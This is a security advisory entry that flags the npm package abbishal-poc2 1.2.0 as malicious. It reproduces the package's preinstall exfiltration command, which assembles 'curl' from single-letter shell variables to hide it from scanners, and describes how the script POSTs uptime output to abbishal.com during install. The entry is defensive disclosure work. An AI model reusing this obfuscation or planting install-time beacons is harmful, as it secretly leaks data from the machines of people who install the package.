abbishal-poc2
Affected
- Versions:
1.2.0
Fixed versions
None listed
Fix
No fixed version is listed.
Advisory
Also known as: None
Malicious package Its source marks this package as malicious: it is not a vulnerability in a legitimate one.
Malicious code in abbishal-poc2 (npm)
---
_-= Per source details. Do not edit below this line.=-_
Source: amazon-inspector (e1a4950e43d1db42d899107c229ccdbb21fd5e8eeeb4d5771b352a8918658e4f)
package.json declares a preinstall script sh./test.sh. test.sh assembles the string curl from single-character shell variables (b=e, i=c, s=n, h=u, a=v, l=rl) and then invokes $i$h$l -d "uptime" https://abbishal.com/sh/poc, POSTing the output of uptime (and implicitly the installer's source IP) to abbishal.com at npm install time. The README claims the package has no install scripts and no network activity, directly contradicting the shipped behavior. The command-name obfuscation via per-letter variable assembly is a technique to evade static scanners searching for curl in lifecycle scripts, and the destination domain does not match the package's claimed publisher.
Not rated by the source.
1.2.0None listed
No fixed version is listed.
Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: OpenSSF Malicious Packages · Apache-2.0